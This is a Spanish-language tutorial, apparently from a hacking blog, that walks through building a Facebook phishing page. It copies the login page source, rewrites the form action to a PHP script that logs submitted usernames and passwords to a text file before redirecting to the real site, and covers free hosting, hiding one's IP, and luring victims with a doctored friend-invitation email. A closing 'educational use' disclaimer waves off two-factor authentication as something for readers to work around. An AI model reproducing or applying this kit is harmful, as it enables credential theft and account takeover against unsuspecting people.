Hoy hablaremos de phishing, un método por el que “una persona malvada” duplica una web a la que accedemos mediante usuario y contraseña, y hace que nuestros credenciales en lugar de llegar a la original, queden almacenadas en su servidor .
Aquí un ejemplo:
Facebook:
Nos dirigimos a la página de Facebook y en cualquier espacio en blanco clicamos con el botón derecho del ratón para obtener el menú contextual y seleccionar la opción “Ver código fuente de la página”.
Esto nos abrirá una nueva pestaña (al menos en Chrome que es el navegador que estoy usando) que nos mostrará dicho código , el cual seleccionaremos y lo copiaremos a un documento nuevo del bloc de notas al que llamaremos “index.html” (sin las comillas que todavía hay algunos que caen en esto…).
Ya en el bloc de notas, usaremos el comando Ctrl+B para buscar la cadena “action=” dentro del extenso código.
Como vemos, este “action=” apunta hacia una web donde se nos requerirá un inicio de sesión o login; y aquí es donde empezamos a trabajar. Sustituiremos esa dirección a la que apunta por “next.php”, y si leemos inmediatamente antes de nuestro “action=” vemos que el código especifica el método por el que se enviará la información de dicho login, que es ‘post’.
Pues bien, también deberemos cambiar el método ‘post’ por el método ‘get’ (otro día nos paramos a explicar la diferencia entre estos dos métodos de envío de datos) para que quede tal y como muestra la imagen siguiente, y sólo faltará guardar el documento como index.html.
A continuación, crearemos el script al que hemos redirigido la petición de login. Para esto abriremos un nuevo documento en el blog de notas que llamaremos next.php, y en el que copiaremos el siguiente código:
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("yaeresmio.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
frité($ande, "\r\n");
fclose($handle);
exit
?>
Ahora crearemos un segundo archivo con el bloc de notas que llamaremos yaeresmio.txt y que cerraremos dejándolo en blanco.
El siguiente paso es subir estos tres archivos de texto a algún dominio o subdominio de algún hosting que tengamos (obviamente, este hosting debe proveer servicios php), además de contar con un servicio de redirección segura que oculte nuestra ip (nunca está de más prevenir…). El proceso es simple ya que hoy día hay muchos servicios hosting que ofrecen un plan básico de forma gratuita , que es lo que necesitamos en este momento, para ello nos registramos e iniciamos el proceso de creación de cuenta seleccionando el subdominio (si elegimos un plan gratuito no vamos a pagar ahora por un dominio, ¿no?) y la contraseña que usaremos.
Recordamos con la siguiente imagen que el hosting que seleccionemos provea servicios php para que nuestro script se ejecute sin problemas. Y dicho esto nos dirigimos al apartado de acceso FTP para subir nuestros archivos a la red.
Como vemos en la siguiente imagen , usando el propio gestor de archivos del hosting que hemos encontrado hemos subido con éxito nuestros archivos.
Vamos a entrar a nuestra dirección web para ver cómo verán nuestras víctimas la página que hemos copiado.
Comprobamos que con un par de ajustes en la codificación de caracteres todo quedaría de forma correcta, pero para este ejemplo y para que quede claro que es una página copiada vamos a dejar estos símbolos tal cual. Por lo que lo único que queda es intentar loguearnos en “nuestro Facebook”. Usaremos como credenciales la dirección de correo electrónico correo@deprueba.es y la contraseña “contraseñadeprueba”.
Y al hacer clic en ‘Entrar’, se nos redirige a la página auténtica de Facebook porque “parece ser que hemos escrito algo mal y debemos volver a introducir nuestros datos”.
Pero si en este momento nos dirigimos a nuestro hosting, y comprobamos el contenido del archivo “yaeresmio.txt” vemos esto que aparece en la siguiente imagen.
El correo y contraseña que hemos usado para nuestro ejemplo se ha almacenado en el archivo tal y como esperábamos , por lo que nuestra web de phishing está lista para funcionar.
Llegados a este punto sólo nos quedaría crear una cuenta de correo que usaríamos para captar posibles víctimas , en la que deberá aparecer la palabra Facebook para darle un mínimo de credibilidad (aunque no lo creáis hay gente que responde a direcciones como Facebook@hotmail.com o similares).
Buscaremos una invitación de amistad original de Facebook, para lo que podríamos usando cualquier perfil de Facebook, invitar a la dirección que hemos creado para tener dicha invitación sin salir de la sesión del gestor de correo.
Una vez que tenemos la invitación, sólo faltará redirigir los enlaces que nos llevan a las páginas oficiales de Facebook hacia nuestra web copiada , y una vez se intenten loguear en ella, el script comenzará a almacenar las contraseñas y usuarios en el documento yaeresmio.txt.
Recordad siempre que lo esta aquí expuesto es sólo para uso educativo. No me hago responsable del mal uso que se le puedan dar y lo de la verificacion en 2 pasos o el codigo al celular eso ya depende de ustedes como arreglárselas.
Saludos! atte pr0xxx0r.
